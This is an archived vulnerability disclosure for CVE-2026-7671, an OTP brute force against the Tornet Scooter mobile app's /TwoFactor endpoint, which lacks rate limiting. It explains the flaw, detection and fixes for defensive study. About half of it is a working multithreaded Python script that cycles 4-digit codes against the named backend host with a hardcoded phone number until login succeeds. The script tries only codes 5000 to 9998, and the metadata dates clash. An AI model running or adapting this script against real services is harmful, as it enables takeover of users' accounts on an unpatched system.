PoC Archive PoC Archive
Medium CVE-2026-7671 unpatched

Tornet Scooter Mobile App OTP Brute Force via Missing Rate Limiting (CVE-2026-7671)

by Unknown (public disclosure via VulDB) · 2026-07-05

Severity
Medium
CVE
CVE-2026-7671
Category
web
Affected product
Tornet Scooter Mobile App backend (/TwoFactor endpoint), Android app v4.75
Affected versions
4.75 (and likely earlier)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherUnknown (public disclosure via VulDB)
CVE / AdvisoryCVE-2026-7671
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagstornet-scooter, otp-bruteforce, missing-rate-limiting, cwe-307, mobile-backend, account-takeover
RelatedN/A

Affected Target

FieldValue
Software / SystemTornet Scooter Mobile App backend (/TwoFactor endpoint), Android app v4.75
Versions Affected4.75 (and likely earlier)
Language / PlatformMobile app backend REST API
Authentication RequiredNo (attacker only needs a valid phone number/account identifier to target)
Network Access RequiredYes

Summary

The Tornet Scooter mobile application’s /TwoFactor backend endpoint does not implement rate limiting or account lockout on one-time-password (OTP) verification attempts. Because the OTP is a 4-digit numeric code (0000-9999), an attacker can brute-force the full keyspace remotely in a practical amount of time, allowing account takeover without ever needing the legitimate user’s OTP.


Vulnerability Details

Root Cause

Improper restriction of excessive authentication attempts (CWE-307): the /TwoFactor endpoint accepts unlimited OTP verification requests for a given account/session without throttling, CAPTCHA, or lockout.

Attack Vector

  1. Trigger an OTP challenge for a target account (e.g. via the normal login/2FA flow).
  2. Script repeated requests to /TwoFactor cycling through all 10,000 possible 4-digit codes.
  3. Because there is no rate limit or lockout, the script eventually submits the correct OTP and completes authentication as the victim.

Impact

Full account takeover of any Tornet Scooter user account reachable via the /TwoFactor endpoint, since a 4-digit OTP space is trivially exhaustible without any anti-automation controls.


Environment / Lab Setup

Target:   Tornet Scooter Mobile App backend, v4.75 (Android client), /TwoFactor endpoint
Attacker: Any HTTP client capable of scripting repeated requests

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py

poc.py brute-forces the 4-digit OTP space against the /TwoFactor endpoint, demonstrating that no rate limiting or lockout prevents exhaustive guessing of the code.


Detection & Indicators of Compromise

Signs of compromise:

  • Bursts of failed OTP verification attempts against the same account within seconds/minutes.
  • Sequential or exhaustive numeric OTP guesses (0000, 0001, 0002, …) in request logs.

Remediation

ActionDetail
Primary fixImplement rate limiting and account lockout on the /TwoFactor endpoint after a small number of failed attempts
Interim mitigationAdd CAPTCHA or exponential backoff to OTP verification; increase OTP length/entropy and reduce OTP validity window

References


Notes

Mirrored from https://github.com/CaginKyr/CVE-2026-7671 on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from queue import Queue
import logging

logging.basicConfig(filename='log.log', level=logging.INFO, 
                    format='%(asctime)s - Kod: %(message)s')

url = " "

headers = {
    "Accept-Encoding": "gzip",
    "Connection": "Keep-Alive",
    "Content-Type": "application/json",
    "Host": "m2.titanware.org",
    "User-Agent": "okhttp/4.9.2",
    "accept": "application/json, text/plain, */*"
}

success_code = Queue()
stop_execution = False

def try_code(code):
    global stop_execution
    if stop_execution:
        return False

    verification_code = f"{code:04d}"
    data = {
        "PhoneNumber": "5444444444",
        "Country": "TR",
        "CountryCode": "+90",
        "VerificationCode": verification_code
    }

    try:
        response = requests.post(url, json=data, headers=headers, timeout=3)
        log_message = f"{verification_code} | Status: {response.status_code} | Yanıt: {response.text}"
        logging.info(log_message)
        print(log_message)

        try:
            response_json = response.json()
            if response_json.get("message") == "Home":
                success_code.put((verification_code, response.text))
                stop_execution = True
                return True
        except ValueError:
            logging.error(f"Yanıt JSON formatında değil (Kod: {verification_code}): {response.text}")
            print(f"Yanıt JSON formatında değil (Kod: {verification_code}): {response.text}")

        return False

    except requests.exceptions.RequestException as e:
        logging.error(f"Hata oluştu (Kod: {verification_code}): {e}")
        print(f"Hata oluştu (Kod: {verification_code}): {e}")
        return False

def main():
    start_time = time.time()
    max_threads = 30
    codes = range(5000 , 9999)

    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        future_to_code = {executor.submit(try_code, code): code for code in codes}
        for future in as_completed(future_to_code):
            if not success_code.empty():
                success = success_code.get()
                print(f"Kod bulundu: {success[0]} | Yanıt: {success[1]}")
                logging.info(f"BAŞARILI! Kod: {success[0]} | Yanıt: {success[1]}")
                break

    end_time = time.time()
    print(f"İşlem tamamlandı. Toplam süre: {end_time - start_time:.2f} saniye")
    logging.info(f"Toplam süre: {end_time - start_time:.2f} saniye")

if __name__ == "__main__":
    main()